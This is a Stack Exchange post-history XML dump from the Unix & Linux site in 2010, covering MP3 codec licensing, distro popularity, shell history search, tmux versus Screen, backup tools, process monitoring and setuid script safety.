  <row Id="1010" PostHistoryTypeId="2" PostId="537" RevisionGUID="a1d09d0e-6fcd-4d84-99b8-7fe727d60339" CreationDate="2010-08-16T17:26:21.653" UserId="56" Text="The mp3 codec is patented through Fraunhoffer AG in the United States (Patent 5,579,430).  Deployment of a decoder requires a very small royalty be paid to Fraunhoffer for use of mp3 tech.  Use of the codec without payment subjects the creator(s) of the installation to the liability of patent infringement.&#xD;&#xA;&#xD;&#xA;- For paid *nix installs, this shouldn't be a problem; it's assumed it will be included in the price.&#xD;&#xA;&#xD;&#xA;- For free *nix installs, this can be toxic to ship in a &quot;official&quot; manner.  Being a &quot;free&quot; install, there would be a burden to cough up royalty money every time someone did a download.  Kinda makes it difficult to be &quot;free&quot;.&#xD;&#xA;&#xD;&#xA;Expect answers to differ on how to best approach this.  The free installs tend to take the &quot;not here, go over there, nudge nudge wink wink&quot; approach.  There is typically a repository that is &quot;unofficially&quot; maintained by volunteers (always in a country where the patent doesn't apply), which you will need to enable in your local installation to gain access to.  Visiting the website or FTP directory for these repositories usually shows an up-front disclaimer that states &quot;If you're in a country that has patents on mp3 tech, you are liable for use of these, yada yada...&quot;&#xD;&#xA;&#xD;&#xA;If there is no repository system (such as apt-get or yum) then you're left to your own devices to download the required binaries and/or source, and install them.  One such installation would be [LAME][1], which also provides an mp3 encoder.&#xD;&#xA;&#xD;&#xA;Debian's approach is rather novel; they ship the [toolame][2] library, which uses the non-patent-encumbered mp2 (mpeg audio layer 2) format, which was a precursor to mp3 (mpeg audio layer 3).  The advantage to this is that the file format works interchangeably with mp3 players, without any effort or incompatibility.  The disadvantage of this is that mp2's are not as well-compressed, so the files tend to be about 10% larger than the same audio compressed as an mp3.  Unfortunately, toolame never really seemed to catch on..&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lame.sourceforge.net/&#xD;&#xA;  [2]: http://sourceforge.net/projects/toolame/" />
  <row Id="1011" PostHistoryTypeId="2" PostId="538" RevisionGUID="49eef1f4-28fc-460b-8df3-46ab3b7cf796" CreationDate="2010-08-16T17:53:52.800" UserDisplayName="Jonathan Hernandez" Text="I guess is Ubuntu for desktop, and CentOS and Ubuntu for servers" />
  <row Id="1012" PostHistoryTypeId="5" PostId="33" RevisionGUID="a4e81078-b25d-490b-a05c-a8e7b92d6505" CreationDate="2010-08-16T18:05:50.030" UserId="84" Comment="deleted 5 characters in body" Text="Keep your /home on a separate partition. This way, it will not be overwritten when you switch to another distro or upgrade your current one. It's also a good idea to have your swap on its own partition. But that should be done automatically by your distro's installer.&#xD;&#xA;&#xD;&#xA;The way my laptop is setup, I have the following partitions:&#xD;&#xA;&#xD;&#xA;/ &lt;br /&gt;&#xD;&#xA;/home &lt;br /&gt;&#xD;&#xA;/boot &lt;br /&gt;&#xD;&#xA;/swp &lt;br /&gt;" />
  <row Id="1013" PostHistoryTypeId="2" PostId="539" RevisionGUID="f72ed353-4abf-4cce-a87c-59df601ca3fa" CreationDate="2010-08-16T18:29:48.233" UserId="5" Text="After some more research, I have found that the term SwapCached in /proc/meminfo is misleading. In fact, it relates to the number of bytes that are simultaneous in memory and swap, such that if these pages are not dirty, they do not need to be swapped out." />
  <row Id="1014" PostHistoryTypeId="2" PostId="540" RevisionGUID="f191eb2c-cbcf-4507-a33c-522b9dc45b35" CreationDate="2010-08-16T18:36:06.053" UserId="88" Text="For servers, I think Ubuntu is the vast majority.  For example, if you look at [Linode's stats][1], 48% of all VPS deployments are Ubuntu, and the next closest competitor is Debian with 24%.  CentOS isn't nearly as popular as others seem to think.&#xD;&#xA;&#xD;&#xA;Given this is only one VPS provider, but I think it's probably pretty indicative of real-world scenarios.&#xD;&#xA;&#xD;&#xA;As far as desktop deployments go, I can't provide any verifiable numbers... but I think most people would agree it's most likely also Ubuntu.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;EDIT: actually I found the [Linux Journal Reader's Choice Awards for 2009][2], and they indicate that 45% of readers choose Ubuntu.  Take it as you will.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linode.com/about/&#xD;&#xA;  [2]: http://www.linuxjournal.com/article/10451" />
  <row Id="1016" PostHistoryTypeId="2" PostId="541" RevisionGUID="01dd1164-b9ff-42a8-8a5c-a92198fe22cf" CreationDate="2010-08-16T19:43:42.480" UserId="29" Text="Is there a better way to search my history file for a command than grep? I do have some idea what the command starts as, but I don't know how far back in the history it is. (shell is zsh if it matters or if there are any zsh specific tricks)" />
  <row Id="1017" PostHistoryTypeId="1" PostId="541" RevisionGUID="01dd1164-b9ff-42a8-8a5c-a92198fe22cf" CreationDate="2010-08-16T19:43:42.480" UserId="29" Text="best way to search my shell's history" />
  <row Id="1018" PostHistoryTypeId="3" PostId="541" RevisionGUID="01dd1164-b9ff-42a8-8a5c-a92198fe22cf" CreationDate="2010-08-16T19:43:42.480" UserId="29" Text="éshellàézshà" />
  <row Id="1019" PostHistoryTypeId="2" PostId="542" RevisionGUID="50fbfa48-5eaf-4d19-bdb1-34186210370c" CreationDate="2010-08-16T19:46:35.670" UserId="363" Text="Not sure if this will help, but I like to use ctrl-r and then start typing the command.  It should go through your history and present you with the first match.  To toggle through the matches just hit ctrl-r again." />
  <row Id="1020" PostHistoryTypeId="6" PostId="541" RevisionGUID="26abbb9a-0170-43c9-82b7-ee4eb27d4e9f" CreationDate="2010-08-16T20:44:50.053" UserId="328" Comment="edited tags" Text="éshellàécommandöhistoryàézshà" />
  <row Id="1021" PostHistoryTypeId="2" PostId="543" RevisionGUID="8e7e4562-2c1e-4a39-aea7-e10de7eec667" CreationDate="2010-08-16T20:45:56.387" UserId="73" Text="&lt;kbd&gt;Ctrl+R&lt;/kbd&gt; is usually the best way, as [descriptor said](http://unix.stackexchange.com/questions/541/best-way-to-search-my-shells-history/542#542). You can also use `!string`, which runs the most recent command starting with `string`, or `!?string?`, which runs the most recent command that contains `string`.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;(I think that's the only stuff relevant to this question, but I covered much more of the history commands in [this answer](http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-prompt-features-or-tricks/67#67))&lt;/sub&gt;" />
  <row Id="1022" PostHistoryTypeId="2" PostId="544" RevisionGUID="50745606-5b9f-4e4b-9db8-195dbdb13a55" CreationDate="2010-08-16T20:53:37.583" UserId="289" Text="A long time ago, I was installing MkLinux on my Mac, and I wanted to replace the file that governed command processing (not the shell, something more basic, don't remember quite what anymore).  The instructions said to do `mv x y`, so I decided to be cautious and started with `rm y`.  The intention was to `mv x y` afterwards, but of course that didn't work.  I reinstalled." />
  <row Id="1023" PostHistoryTypeId="16" PostId="544" RevisionGUID="50745606-5b9f-4e4b-9db8-195dbdb13a55" CreationDate="2010-08-16T20:53:37.583" UserId="-1" />
  <row Id="1024" PostHistoryTypeId="2" PostId="545" RevisionGUID="161eee23-2bf8-4d6d-a9bd-235f9ff08d02" CreationDate="2010-08-16T21:29:14.947" UserId="328" Text="Ubuntu has a detailed [guide for installing restricted formats][1].  In particular for recent Ubuntu versions it is as simple as opening the Terminal, and executing the following command:&#xD;&#xA;&#xD;&#xA;    sudo apt-get install ubuntu-restricted-extras&#xD;&#xA;&#xD;&#xA;There are some Linux distros like [Slackware][2] that include MP3 support by default.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/RestrictedFormats/MP3&#xD;&#xA;  [2]: http://www.slackware.com/" />
  <row Id="1025" PostHistoryTypeId="2" PostId="546" RevisionGUID="47e79a2b-9dec-4553-9927-f09f5af4aa8b" CreationDate="2010-08-16T21:32:54.840" UserId="29" Text="In researching [this answer][1] I [found][2] `vi-history-search-backward` which allows one to search with `/` in vi mode (which I didn't mention I was in) you can then use `n` and `N` to search forward and backward respectively (after pressing enter).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/541/best-way-to-search-my-shells-history/542#542&#xD;&#xA;  [2]: http://zsh.sourceforge.net/Doc/Release/zsh_17.html#SEC100" />
  <row Id="1026" PostHistoryTypeId="5" PostId="545" RevisionGUID="1257a5d8-212f-46f9-92dc-3f3065fef562" CreationDate="2010-08-16T21:43:16.237" UserId="328" Comment="added 585 characters in body; added 194 characters in body" Text="Ubuntu&#xD;&#xA;------&#xD;&#xA;&#xD;&#xA;Ubuntu has a detailed [guide for installing restricted formats][1].  In particular for recent Ubuntu versions it is as simple as opening the Terminal, and executing the following command:&#xD;&#xA;&#xD;&#xA;    sudo apt-get install ubuntu-restricted-extras&#xD;&#xA;&#xD;&#xA;OpenSuse&#xD;&#xA;--------&#xD;&#xA;&#xD;&#xA;OpenSuse has a [page on restricted formats][2]  and links to a [5 minute solution to MP3 support][3] that shows you how to install the [Fluendo MP3 decoder][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;LinuxMint&#xD;&#xA;---------&#xD;&#xA;On LinuxMint install the &quot;[Codec MP3 Encoding][5]&quot; mint file and you should have MP3 support in SoundJuicer.&#xD;&#xA;&#xD;&#xA;Fedora&#xD;&#xA;------&#xD;&#xA;Fedora only [supports MP3][6] through third party repositories.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;MP3 Support included&#xD;&#xA;--------------------&#xD;&#xA;&#xD;&#xA;There are some Linux distros like [Slackware][7] that include MP3 support by default.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/RestrictedFormats/MP3&#xD;&#xA;  [2]: http://en.opensuse.org/Restricted_formats#MP3&#xD;&#xA;  [3]: http://www.justuber.com/blog/2007/02/09/mp3-on-opensuse-5-minute-fix/&#xD;&#xA;  [4]: http://www.fluendo.com/shop/product/fluendo-mp3-decoder/&#xD;&#xA;  [5]: http://www.linuxmint.com/software/?sec=item&amp;id=38&#xD;&#xA;  [6]: http://fedoraproject.org/wiki/Multimedia/MP3&#xD;&#xA;  [7]: http://www.slackware.com/" />
  <row Id="1027" PostHistoryTypeId="2" PostId="547" RevisionGUID="6956e557-9a6a-48ee-b4c3-fe1d05729074" CreationDate="2010-08-16T21:45:38.563" UserId="29" Text="I use `bindkey -v` (for bash-ers `set -o vi` I think that works in zsh too) or vi(m) mode. but it bugs me that I don't have any visual cue to tell me whether I'm in insert mode or command mode. Does anyone know how I can make my prompt display the mode?" />
  <row Id="1028" PostHistoryTypeId="1" PostId="547" RevisionGUID="6956e557-9a6a-48ee-b4c3-fe1d05729074" CreationDate="2010-08-16T21:45:38.563" UserId="29" Text="make my zsh prompt show mode in vi mode" />
  <row Id="1029" PostHistoryTypeId="3" PostId="547" RevisionGUID="6956e557-9a6a-48ee-b4c3-fe1d05729074" CreationDate="2010-08-16T21:45:38.563" UserId="29" Text="éshellàépromptàézshà" />
  <row Id="1030" PostHistoryTypeId="5" PostId="545" RevisionGUID="f4c62385-de62-4be2-b6ec-ceaa536edb5d" CreationDate="2010-08-16T21:54:45.090" UserId="328" Comment="added 447 characters in body; added 71 characters in body; added 4 characters in body" Text="Our *nix's always recommend free formats over the restricted ones...  see the [Ogg Vorbis format][1] (lossy) or [FLAC][2] (lossless).  But if you must have your non-free format supported here are guides for a few *nixs&#xD;&#xA;&#xD;&#xA;Ubuntu&#xD;&#xA;------&#xD;&#xA;&#xD;&#xA;Ubuntu has a detailed [guide for installing restricted formats][3].  In particular for recent Ubuntu versions it is as simple as opening the Terminal, and executing the following command:&#xD;&#xA;&#xD;&#xA;    sudo apt-get install ubuntu-restricted-extras&#xD;&#xA;&#xD;&#xA;OpenSuse&#xD;&#xA;--------&#xD;&#xA;&#xD;&#xA;OpenSuse has a [page on restricted formats][4]  and links to a [5 minute solution to MP3 support][5] that shows you how to install the [Fluendo MP3 decoder][6].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;LinuxMint&#xD;&#xA;---------&#xD;&#xA;On LinuxMint install the &quot;[Codec MP3 Encoding][7]&quot; mint file and you should have MP3 support in SoundJuicer.&#xD;&#xA;&#xD;&#xA;Fedora&#xD;&#xA;------&#xD;&#xA;Fedora only [supports MP3][8] through third party repositories.&#xD;&#xA;&#xD;&#xA;OpenBSD&#xD;&#xA;-------&#xD;&#xA;[The OpenBSD FAQ][9] recommends installing [LAME][10] and states that &quot;Lame is included in the OpenBSD ports tree.&quot;&#xD;&#xA;&#xD;&#xA;MP3 Support included&#xD;&#xA;--------------------&#xD;&#xA;&#xD;&#xA;There are some Linux distros like [Slackware][11] that include MP3 support by default.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vorbis.com/&#xD;&#xA;  [2]: http://flac.sourceforge.net/&#xD;&#xA;  [3]: https://help.ubuntu.com/community/RestrictedFormats/MP3&#xD;&#xA;  [4]: http://en.opensuse.org/Restricted_formats#MP3&#xD;&#xA;  [5]: http://www.justuber.com/blog/2007/02/09/mp3-on-opensuse-5-minute-fix/&#xD;&#xA;  [6]: http://www.fluendo.com/shop/product/fluendo-mp3-decoder/&#xD;&#xA;  [7]: http://www.linuxmint.com/software/?sec=item&amp;id=38&#xD;&#xA;  [8]: http://fedoraproject.org/wiki/Multimedia/MP3&#xD;&#xA;  [9]: http://www.openbsd.org/faq/faq13.html#lossyaudio&#xD;&#xA;  [10]: http://lame.sourceforge.net/&#xD;&#xA;  [11]: http://www.slackware.com/" />
  <row Id="1031" PostHistoryTypeId="5" PostId="545" RevisionGUID="81b4985b-d4b3-46ce-8639-fcb6fc58b527" CreationDate="2010-08-16T22:14:09.373" UserId="328" Comment="added 125 characters in body" Text="Our *nix's always recommend free formats over the restricted ones...  see the [Ogg Vorbis format][1] (lossy) or [FLAC][2] (lossless).  But if you must have your non-free format supported here are guides for a few *nixs&#xD;&#xA;&#xD;&#xA;Ubuntu&#xD;&#xA;------&#xD;&#xA;&#xD;&#xA;Ubuntu has a detailed [guide for installing restricted formats][3].  In particular for recent Ubuntu versions it is as simple as opening the Terminal, and executing the following command:&#xD;&#xA;&#xD;&#xA;    sudo apt-get install ubuntu-restricted-extras&#xD;&#xA;&#xD;&#xA;OpenSuse&#xD;&#xA;--------&#xD;&#xA;&#xD;&#xA;OpenSuse has a [page on restricted formats][4]  and links to a [5 minute solution to MP3 support][5] that shows you how to install the [Fluendo MP3 decoder][6].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;LinuxMint&#xD;&#xA;---------&#xD;&#xA;On LinuxMint install the &quot;[Codec MP3 Encoding][7]&quot; mint file and you should have MP3 support in SoundJuicer.&#xD;&#xA;&#xD;&#xA;Fedora&#xD;&#xA;------&#xD;&#xA;Fedora only [supports MP3][8] through third party repositories.  And also has a [guide to installing Fluendo][9].&#xD;&#xA;&#xD;&#xA;OpenBSD&#xD;&#xA;-------&#xD;&#xA;[The OpenBSD FAQ][10] recommends installing [LAME][11] and states that &quot;Lame is included in the OpenBSD ports tree.&quot;&#xD;&#xA;&#xD;&#xA;MP3 Support included&#xD;&#xA;--------------------&#xD;&#xA;&#xD;&#xA;There are some Linux distros like [Slackware][12] that include MP3 support by default.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vorbis.com/&#xD;&#xA;  [2]: http://flac.sourceforge.net/&#xD;&#xA;  [3]: https://help.ubuntu.com/community/RestrictedFormats/MP3&#xD;&#xA;  [4]: http://en.opensuse.org/Restricted_formats#MP3&#xD;&#xA;  [5]: http://www.justuber.com/blog/2007/02/09/mp3-on-opensuse-5-minute-fix/&#xD;&#xA;  [6]: http://www.fluendo.com/shop/product/fluendo-mp3-decoder/&#xD;&#xA;  [7]: http://www.linuxmint.com/software/?sec=item&amp;id=38&#xD;&#xA;  [8]: http://fedoraproject.org/wiki/Multimedia/MP3&#xD;&#xA;  [9]: https://fedoraproject.org/wiki/Installing_the_Fluendo_MP3_plugin&#xD;&#xA;  [10]: http://www.openbsd.org/faq/faq13.html#lossyaudio&#xD;&#xA;  [11]: http://lame.sourceforge.net/&#xD;&#xA;  [12]: http://www.slackware.com/" />
  <row Id="1032" PostHistoryTypeId="2" PostId="548" RevisionGUID="0ac784bc-32a2-4121-8cae-fca0519963c1" CreationDate="2010-08-16T22:27:45.233" UserId="328" Text="I have always found [OCR technology][1] to be behind on open source systems.  I've also watched the [Ocropus project][2] since its infancy.  I've tried what I've heard is the best OCR engine available for Linux, [Tesseract][3], and have found it woefully lacking for business documents.  Are there any other more promising OCR implementations?  What about the even more hopeful goal for interpreting handwriting?  What is possible on *nix systems in this field?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Optical_character_recognition&#xD;&#xA;  [2]: http://code.google.com/p/ocropus/&#xD;&#xA;  [3]: http://sourceforge.net/projects/tesseract-ocr/" />
  <row Id="1033" PostHistoryTypeId="1" PostId="548" RevisionGUID="0ac784bc-32a2-4121-8cae-fca0519963c1" CreationDate="2010-08-16T22:27:45.233" UserId="328" Text="OCR on Linux systems" />
  <row Id="1034" PostHistoryTypeId="3" PostId="548" RevisionGUID="0ac784bc-32a2-4121-8cae-fca0519963c1" CreationDate="2010-08-16T22:27:45.233" UserId="328" Text="éopensourceöprojectsàéocràéimagingàédocumentsà" />
  <row Id="1035" PostHistoryTypeId="2" PostId="549" RevisionGUID="8d3c2e3a-8acc-4534-82bd-c0a8deb6952c" CreationDate="2010-08-16T22:33:09.703" UserId="305" Text="[Browsing through questions][1] I found about tmux (I normally used GNU Screen). My question is what are pros and cons of each of them. Especially I couldn't find much about tmux.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/479/keep-ssh-sessions-running-after-disconnection" />
  <row Id="1036" PostHistoryTypeId="1" PostId="549" RevisionGUID="8d3c2e3a-8acc-4534-82bd-c0a8deb6952c" CreationDate="2010-08-16T22:33:09.703" UserId="305" Text="tmux vs. GNU Screen" />
  <row Id="1037" PostHistoryTypeId="3" PostId="549" RevisionGUID="8d3c2e3a-8acc-4534-82bd-c0a8deb6952c" CreationDate="2010-08-16T22:33:09.703" UserId="305" Text="éscreenàéterminalömultiplexerà" />
  <row Id="1038" PostHistoryTypeId="5" PostId="546" RevisionGUID="cc06bcbf-6a32-448c-ae1d-06a62263c610" CreationDate="2010-08-16T22:36:44.923" UserId="29" Comment="update formatting" Text="In researching [this answer][1] I [found][2] `vi-history-search-backward` which allows one to search with &lt;kbd&gt;/&lt;/kbd&gt; in vi mode (which I didn't mention I was in) you can then use &lt;kbd&gt;n&lt;/kbd&gt; and &lt;kbd&gt;N&lt;/kbd&gt; to search forward and backward respectively (after pressing &lt;kbd&gt;enter&lt;/kbd&gt;).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/541/best-way-to-search-my-shells-history/542#542&#xD;&#xA;  [2]: http://zsh.sourceforge.net/Doc/Release/zsh_17.html#SEC100" />
  <row Id="1039" PostHistoryTypeId="2" PostId="550" RevisionGUID="363b23e9-7a9b-406e-8f22-078ef5a828c5" CreationDate="2010-08-16T23:07:39.320" UserId="298" Text="tmux is fairly new compared with GNU screen.  Advantages / Disadvantages is a tough question, as both programs solve approximately the same problem.  tmux is BSD licensed, however while screen is GNU GPL.  This matters to some people.  &#xD;&#xA;&#xD;&#xA;screen is more represented (on linux) at the moment, that is, you are more likely to find it on a given linux box than tmux.  tmux is however more represented on OpenBSD as it is included as part of the base install, and his been for over a year now.  &#xD;&#xA;&#xD;&#xA;Both programs allow you to do about the same thing, though the how of things is a bit more complex than that.  Switching between the two is not overly complicated, as much of screens functionality has also found its way into tmux, though if you are a power user of either one, you will likely find some frustrations when switching to the other.  &#xD;&#xA;&#xD;&#xA;As with any program, it really depends on your needs, and which you are more comfortable with.  Give them both a try and see which you play nicely with.  &#xD;&#xA;&#xD;&#xA;For more info on tmux see: &#xD;&#xA;&#xD;&#xA;http://tmux.sourceforge.net/&#xD;&#xA;" />
  <row Id="1040" PostHistoryTypeId="2" PostId="551" RevisionGUID="205483ac-b818-469f-a661-af5c0ab6880a" CreationDate="2010-08-17T00:53:50.830" UserId="203" Text="I found a [similar question over on StackOverflow][1] and the [Asprise OCR SDK][2], one of the linked **commercial** products, boasts a Linux version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/744966/any-open-source-c-ocr-library&#xD;&#xA;  [2]: http://asprise.com/product/ocr/selector.php" />
  <row Id="1041" PostHistoryTypeId="2" PostId="552" RevisionGUID="7de8d809-b045-44d6-a377-dbced0f81a29" CreationDate="2010-08-17T00:57:55.470" UserId="203" Text="[MonoDevelop][1] should be able to help you get a handle on the development side:&#xD;&#xA;&#xD;&#xA;&gt; MonoDevelop is an IDE primarily&#xD;&#xA;&gt; designed for C# and other .NET&#xD;&#xA;&gt; languages. MonoDevelop enables&#xD;&#xA;&gt; developers to quickly write desktop&#xD;&#xA;&gt; and ASP.NET Web applications on **Linux**,&#xD;&#xA;&gt; **Windows** and **Mac OSX**. MonoDevelop makes&#xD;&#xA;&gt; it easy for developers to port .NET&#xD;&#xA;&gt; applications created with Visual&#xD;&#xA;&gt; Studio to Linux and to maintain a&#xD;&#xA;&gt; single code base for all platforms.&#xD;&#xA;&#xD;&#xA;(emphasis is mine)&#xD;&#xA;  [1]: http://monodevelop.com/" />
  <row Id="1042" PostHistoryTypeId="16" PostId="552" RevisionGUID="7de8d809-b045-44d6-a377-dbced0f81a29" CreationDate="2010-08-17T00:57:55.470" UserId="-1" />
  <row Id="1043" PostHistoryTypeId="2" PostId="553" RevisionGUID="d63f0e2e-72df-479d-acd2-60a69ec97ee7" CreationDate="2010-08-17T03:06:44.927" UserId="228" Text="For a while I used Dirvish to do incremental backups of my machines, but it is slightly cumbersome to configure, and if you do not carry a copy of your configuration it can be hard to reproduce elsewhere.&#xD;&#xA;&#xD;&#xA;I am looking for backup programs for Unix, Linux that could:&#xD;&#xA;&#xD;&#xA;* Incrementally update my backup&#xD;&#xA;* Create &quot;mirror&quot; trees like dirvish did using hardlinks (to save space)&#xD;&#xA;* Ideall with a decent UI" />
  <row Id="1044" PostHistoryTypeId="1" PostId="553" RevisionGUID="d63f0e2e-72df-479d-acd2-60a69ec97ee7" CreationDate="2010-08-17T03:06:44.927" UserId="228" Text="Easy incremental backups to an external hard drive." />
  <row Id="1045" PostHistoryTypeId="3" PostId="553" RevisionGUID="d63f0e2e-72df-479d-acd2-60a69ec97ee7" CreationDate="2010-08-17T03:06:44.927" UserId="228" Text="élinuxàébackupàébsdà" />
  <row Id="1046" PostHistoryTypeId="2" PostId="554" RevisionGUID="61edd5a4-5bde-4fdd-a4c1-0575e5e70cc7" CreationDate="2010-08-17T03:21:58.043" UserId="163" Text="I would like to monitor one process's memory / cpu usage in real time. Similar to `top` but targeted at only one process, preferably with a history graph of some sort. " />
  <row Id="1047" PostHistoryTypeId="1" PostId="554" RevisionGUID="61edd5a4-5bde-4fdd-a4c1-0575e5e70cc7" CreationDate="2010-08-17T03:21:58.043" UserId="163" Text="Monitor one process" />
  <row Id="1048" PostHistoryTypeId="3" PostId="554" RevisionGUID="61edd5a4-5bde-4fdd-a4c1-0575e5e70cc7" CreationDate="2010-08-17T03:21:58.043" UserId="163" Text="éshellàéprocessàémonitoràétopà" />
  <row Id="1049" PostHistoryTypeId="2" PostId="555" RevisionGUID="7fb3f6e0-68ac-46a9-a3cd-2ff682dcf691" CreationDate="2010-08-17T03:23:40.837" UserId="29" Text="Try [rsnapshot][1] it uses `rsync` and hardlinks and is incremental.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rsnapshot.org/" />
  <row Id="1050" PostHistoryTypeId="2" PostId="556" RevisionGUID="fe3c823f-b8f0-4485-94f7-959c120a971a" CreationDate="2010-08-17T03:27:30.013" UserId="73" Text="`top` actually supports focusing on a single process, although it naturally doesn't have a history graph:&#xD;&#xA;&#xD;&#xA;    top -p PID" />
  <row Id="1051" PostHistoryTypeId="2" PostId="557" RevisionGUID="b0d64186-0cd8-4b49-b9c2-ef07e3516fb6" CreationDate="2010-08-17T03:28:21.807" UserId="183" Text="The biggest difference in my use has been that in Gnu Screen you can only split frames horizontally, whereas in Tmux you can split both horizontally and vertically.  This is kind of a moving target, though as I here tell that [vertical split is making it's way into screen](http://fungi.yuggoth.org/vsp4s/).&#xD;&#xA;&#xD;&#xA;Other then that, things are about flat." />
  <row Id="1052" PostHistoryTypeId="4" PostId="80" RevisionGUID="cf83be0a-78ba-45d6-8d77-b230baaba33b" CreationDate="2010-08-17T04:29:49.980" UserId="57" Comment="edited tags; edited title" Text="Recommended readings for better understating of unix/linux internals " />
  <row Id="1053" PostHistoryTypeId="6" PostId="80" RevisionGUID="cf83be0a-78ba-45d6-8d77-b230baaba33b" CreationDate="2010-08-17T04:29:49.980" UserId="57" Comment="edited tags; edited title" Text="élinuxàébooksàérecommendedà" />
  <row Id="1054" PostHistoryTypeId="2" PostId="558" RevisionGUID="16415a77-0dc2-44de-a4c6-b15541612c5c" CreationDate="2010-08-17T04:48:14.730" UserId="57" Text="I use following two most of the time.  &#xD;&#xA;But please note both of them search for starting chars.&#xD;&#xA;&#xD;&#xA; 1. **tcsh**:  type some few charecters of the command then &lt;kbd&gt;Esc+p&lt;/kbd&gt; it will show the previous command starting with that key sequence press it again it will show another command.  &#xD;&#xA; 2. **ksh** :  use `fc -e - &lt;SPACE&gt;` `&lt;first few char for your previous &gt;` this will run last command matching that sequence.&#xD;&#xA;&#xD;&#xA;I was not able to find something like &lt;kbd&gt;Ctrl+R&lt;/kbd&gt; in Bash for my ksh and tcsh." />
  <row Id="1055" PostHistoryTypeId="2" PostId="559" RevisionGUID="c017e102-4b30-48e9-a8ca-8e220b6c99bc" CreationDate="2010-08-17T04:59:10.300" UserId="298" Text="I've been using [epitome][1] for about a year now for deduplicated backups of my personal data .  It has a tar like interface so it's quite comfortable for a unix user and setup is a breeze, at least, on OpenBSD.  You can easily cron it to backup your directories on a daily basis, and it takes care of the deduplication of your data.  You basically are left with a meta-file that you can use to restore your snapshot at a later date.  As I said the interface is tar-like so doing a backup is as easy as: &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;# epitomize -cvRf 2010-08-16-home.md /home&#xD;&#xA;&lt;/pre&gt; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://peereboom.us/epitome &quot;epitome&quot;" />
  <row Id="1056" PostHistoryTypeId="2" PostId="560" RevisionGUID="edb3ddca-a752-4d5e-afd6-ec3e483ea020" CreationDate="2010-08-17T08:59:13.103" UserId="57" Text="I normally use following two :&#xD;&#xA;&#xD;&#xA; 1. [HP caliper][1]  : its very good tool for monitoring processes it you can check call graph and other low level information also. But please note its free only for personal use &#xD;&#xA;&#xD;&#xA; 2. [daemontools][2] : daemontools is a collection of tools for managing UNIX service&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://h21007.www2.hp.com/portal/site/dspp/menuitem.863c3e4cbcdc3f3515b49c108973a801/?ciid=2908852bcbe02110852bcbe02110275d6e10RCRD&#xD;&#xA;  [2]: http://cr.yp.to/daemontools.html" />
  <row Id="1057" PostHistoryTypeId="2" PostId="561" RevisionGUID="9f8aad6d-6020-480f-b631-ddf05513c275" CreationDate="2010-08-17T10:32:03.463" UserId="57" Text="you can try [VimMode][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://martin.krischik.com/index.php/Z-Shell/VimMode" />
  <row Id="1058" PostHistoryTypeId="2" PostId="562" RevisionGUID="f061d9ef-dd68-4c44-9313-40e8f220d72a" CreationDate="2010-08-17T11:04:20.300" UserId="305" Text="If you want to avoid calling `sudo some_script` you can just do:&#xD;&#xA;&#xD;&#xA;      #!/ust/bin/env sh&#xD;&#xA;      &#xD;&#xA;      sudo /usr/local/scripts/your_script&#xD;&#xA;&#xD;&#xA;SETUID programs need to be designed with extream care as they run with root privilages and user have large control over them. They need to sane-check everything. You cannot do it with scripts because:&#xD;&#xA;&#xD;&#xA; - Shells are large piece of software with interacts heavily with user. It is nearly impossible to sane check everything - especially that most of the code is not suppose to run in such mode.&#xD;&#xA; - Scripts are mostly quick'n'dirty solution and usually are not prepared with such care that would allow setuid. Thay have many potentially dangerous features&#xD;&#xA; - They depend heavily on other programs. It is not sufficient that shell was checked. `sed`/`awk` etc. would need to be checked as well&#xD;&#xA;&#xD;&#xA;Please note that sudo provide some sane-checking but it is not sufficient - check very line.&#xD;&#xA;&#xD;&#xA;As a last note - consider using capabilities. They allow to give process a special privilages that would require normally root privilages. However for example while `ping` need to manipulate network it do not need to have access to files. I'm not sure however if they are inherited.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1059" PostHistoryTypeId="2" PostId="563" RevisionGUID="1a39a71b-e909-4352-b35b-9d5845e5d56c" CreationDate="2010-08-17T12:24:54.100" UserId="279" Text="I often use Lynx on a remote computer to look at websites (faster than port-forwarding). &#xD;&#xA;Sometimes the URLs I want to go to have un-escaped characters (for example brackets) that Lynx seems to need encoded.&#xD;&#xA;for example &#xD;&#xA;`http://www.example.com/This(URL)is anExample.html`&#xD;&#xA;should be&#xD;&#xA;`http://www.example.com/This%28URL%29is%20anExample.html`.&#xD;&#xA;&#xD;&#xA;Is there an existing script for this? &#xD;&#xA;Alternatively is there some option for Lynx that would make it unnecessary?&#xD;&#xA;" />
  <row Id="1060" PostHistoryTypeId="1" PostId="563" RevisionGUID="1a39a71b-e909-4352-b35b-9d5845e5d56c" CreationDate="2010-08-17T12:24:54.100" UserId="279" Text="Using URLs with parenthesis with Lynx" />
  <row Id="1061" PostHistoryTypeId="3" PostId="563" RevisionGUID="1a39a71b-e909-4352-b35b-9d5845e5d56c" CreationDate="2010-08-17T12:24:54.100" UserId="279" Text="écommandölineàéurlàélynxà" />
